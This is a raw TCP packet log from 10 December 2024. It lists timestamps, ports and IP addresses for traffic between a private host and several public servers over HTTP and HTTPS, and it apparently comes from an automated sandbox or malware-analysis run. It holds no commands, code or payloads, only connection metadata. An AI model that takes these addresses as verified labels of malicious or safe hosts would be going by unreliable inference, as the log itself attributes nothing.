Dec 10, 2024 05:10:48.433679104 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.433722019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.433762074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.434551001 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.434600115 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:48.434622049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.434638977 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:48.455085993 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:48.455172062 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:48.456516027 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:48.456527948 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:48.456909895 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:48.458805084 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:48.459337950 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:48.459372044 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:48.729104996 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:48.848377943 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:49.213191986 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:49.223344088 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:49.297540903 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:49.297550917 CET	443	49956	35.190.72.216	192.168.2.5
Dec 10, 2024 05:10:49.299851894 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:49.305170059 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:49.305181026 CET	443	49956	35.190.72.216	192.168.2.5
Dec 10, 2024 05:10:49.430866957 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.430989981 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.435327053 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.451386929 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:49.456819057 CET	49948	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:49.456851006 CET	443	49948	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.942276955 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.942370892 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.955331087 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:49.960036039 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:49.960441113 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:49.960998058 CET	49937	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:49.961013079 CET	443	49937	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:50.211674929 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:50.211724043 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:50.223247051 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:50.225955009 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:50.225974083 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:50.270698071 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:50.270745993 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:50.283922911 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:50.285512924 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:50.285535097 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:50.523772955 CET	443	49956	35.190.72.216	192.168.2.5
Dec 10, 2024 05:10:50.526734114 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:50.526933908 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:50.533803940 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:50.533813000 CET	443	49956	35.190.72.216	192.168.2.5
Dec 10, 2024 05:10:50.533912897 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:50.533941984 CET	443	49956	35.190.72.216	192.168.2.5
Dec 10, 2024 05:10:50.534539938 CET	49956	443	192.168.2.5	35.190.72.216
Dec 10, 2024 05:10:50.646178007 CET	80	49960	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:50.647645950 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:50.648068905 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:50.767354965 CET	80	49960	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:50.910842896 CET	49914	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:50.911185980 CET	49966	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:50.953056097 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:50.953093052 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:50.953206062 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:50.953622103 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:50.953630924 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:51.030370951 CET	80	49914	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:51.030404091 CET	80	49966	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:51.032928944 CET	49914	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:51.032984972 CET	49966	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:51.034115076 CET	49966	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:51.042520046 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:51.042541027 CET	443	49968	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:51.042902946 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:51.044357061 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:51.044370890 CET	443	49968	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:51.049913883 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:51.049937010 CET	443	49969	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:51.050185919 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:51.051592112 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:51.051599026 CET	443	49969	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:51.153301954 CET	80	49966	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:51.454277039 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:51.573611975 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:51.734833002 CET	80	49960	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:51.777852058 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:51.778317928 CET	49971	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:51.828923941 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:51.828972101 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:51.829083920 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:51.829402924 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:51.829412937 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:51.838395119 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:51.897087097 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:51.897653103 CET	80	49971	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:51.901141882 CET	49971	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:51.902434111 CET	49971	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:51.914096117 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.914109945 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.914803028 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.916563034 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:51.916594028 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.944911003 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:51.946294069 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:51.977207899 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.977219105 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.977844954 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:51.977946997 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:51.978357077 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:51.985577106 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.021722078 CET	80	49971	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:52.162216902 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.162297010 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.163599014 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.163609982 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.163853884 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.165131092 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.165153980 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.165208101 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.210035086 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:52.210087061 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:52.210160971 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:52.210191011 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:52.213608027 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.213624001 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:52.213855028 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.214003086 CET	443	49958	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:52.216131926 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.216150045 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:52.216234922 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.216458082 CET	443	49959	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:52.216566086 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.216619968 CET	443	49976	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:52.217453957 CET	49958	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.217466116 CET	49959	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.217482090 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:52.217484951 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:52.217622042 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.217761040 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:52.217773914 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:52.217902899 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:52.217915058 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:52.220418930 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:52.220438957 CET	443	49976	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:52.264734030 CET	443	49968	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.264828920 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.269213915 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.269224882 CET	443	49968	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.269298077 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.269561052 CET	443	49968	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.270006895 CET	49968	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.271701097 CET	443	49969	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.271783113 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.276712894 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.276717901 CET	443	49969	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.276777983 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.276837111 CET	443	49969	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.276927948 CET	49969	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.372350931 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.372375965 CET	443	49977	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.375708103 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.377068043 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:52.377074957 CET	443	49977	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:52.384984970 CET	80	49966	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:52.385054111 CET	49966	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:52.390742064 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:52.505716085 CET	49978	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:52.509975910 CET	80	49960	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:52.625057936 CET	80	49978	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:52.640885115 CET	49978	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:52.641421080 CET	49978	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:52.705415964 CET	80	49960	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:52.760691881 CET	80	49978	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:52.836502075 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:52.887012005 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.887083054 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.894076109 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.942286968 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.942313910 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.942329884 CET	49967	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:52.942336082 CET	443	49967	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:52.997134924 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:53.038927078 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:53.038997889 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:53.040286064 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:53.040293932 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:53.040499926 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:53.041841984 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:53.042001963 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:53.042030096 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:53.042259932 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:53.083339930 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:53.116373062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:53.116563082 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:53.116988897 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:53.236234903 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:53.360567093 CET	49978	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.397263050 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.440165043 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:53.440181017 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:53.440591097 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:53.440604925 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:53.441207886 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:53.441219091 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:53.444380999 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:53.444392920 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:53.444663048 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:53.447046041 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:53.447057009 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:53.447356939 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:53.450351954 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:53.450438023 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:53.450504065 CET	443	49973	35.244.181.201	192.168.2.5
Dec 10, 2024 05:10:53.450515032 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:53.450562954 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:53.450714111 CET	49973	443	192.168.2.5	35.244.181.201
Dec 10, 2024 05:10:53.450714111 CET	443	49974	34.160.144.191	192.168.2.5
Dec 10, 2024 05:10:53.450762033 CET	49974	443	192.168.2.5	34.160.144.191
Dec 10, 2024 05:10:53.512927055 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.516694069 CET	80	49985	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:53.520977974 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.521150112 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.523556948 CET	80	49978	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:53.532093048 CET	80	49978	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:53.532140970 CET	49978	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.598453999 CET	443	49977	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:53.599503994 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:53.604058027 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:53.604067087 CET	443	49977	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:53.604162931 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:53.604235888 CET	443	49977	34.117.188.166	192.168.2.5
Dec 10, 2024 05:10:53.604331017 CET	49977	443	192.168.2.5	34.117.188.166
Dec 10, 2024 05:10:53.632688046 CET	80	49960	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:53.632746935 CET	49960	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.640451908 CET	80	49985	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:53.720812082 CET	49986	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.747679949 CET	80	49971	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:53.748181105 CET	49971	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:53.840523005 CET	80	49986	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:53.840601921 CET	49986	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.840789080 CET	49986	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:53.913835049 CET	443	49976	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:53.914361954 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:53.914511919 CET	443	49976	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:53.914695978 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:53.918988943 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:53.918999910 CET	443	49976	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:53.919083118 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:53.919157028 CET	443	49976	142.250.181.142	192.168.2.5
Dec 10, 2024 05:10:53.919389009 CET	49976	443	192.168.2.5	142.250.181.142
Dec 10, 2024 05:10:53.959990978 CET	80	49986	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:54.011915922 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:54.013252974 CET	49966	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:54.013535023 CET	49987	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:54.131102085 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:54.132778883 CET	80	49987	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:54.132807016 CET	80	49966	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:54.132853031 CET	49987	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:54.132884026 CET	49966	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:54.133133888 CET	49987	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:54.252394915 CET	80	49987	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:54.449012995 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449029922 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449040890 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449095011 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449106932 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449116945 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449132919 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449290991 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449301958 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.449395895 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.450994968 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.450994968 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.496381044 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:54.502517939 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:54.570348024 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.570429087 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.570715904 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.580626011 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:54.580703020 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:54.580849886 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:54.590063095 CET	49972	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:54.590080976 CET	443	49972	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:54.605740070 CET	80	49985	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:54.641038895 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.641205072 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.643268108 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.645270109 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.645395994 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.653703928 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.656672955 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.656765938 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.664699078 CET	49985	80	192.168.2.5	34.107.221.82
Dec 10, 2024 05:10:54.664762020 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.665010929 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.665122032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.673410892 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.673505068 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.675394058 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.681775093 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.681874990 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.682342052 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.690094948 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.690138102 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.690184116 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.698556900 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.698607922 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.698731899 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.706882954 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.706944942 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.708460093 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.715226889 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.715327978 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.718749046 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.723592997 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.732537031 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.762511015 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.821285963 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.833295107 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.833352089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.834748983 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.834847927 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.836904049 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.840002060 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.840101004 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.841166973 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.844919920 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.844999075 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.845685959 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.849983931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.850065947 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.850146055 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.854957104 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.854990005 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.857036114 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.859850883 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.860053062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.862499952 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:54.864769936 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:54.864984035 CET	80	49984	185.215.113.16	192.168.2.5
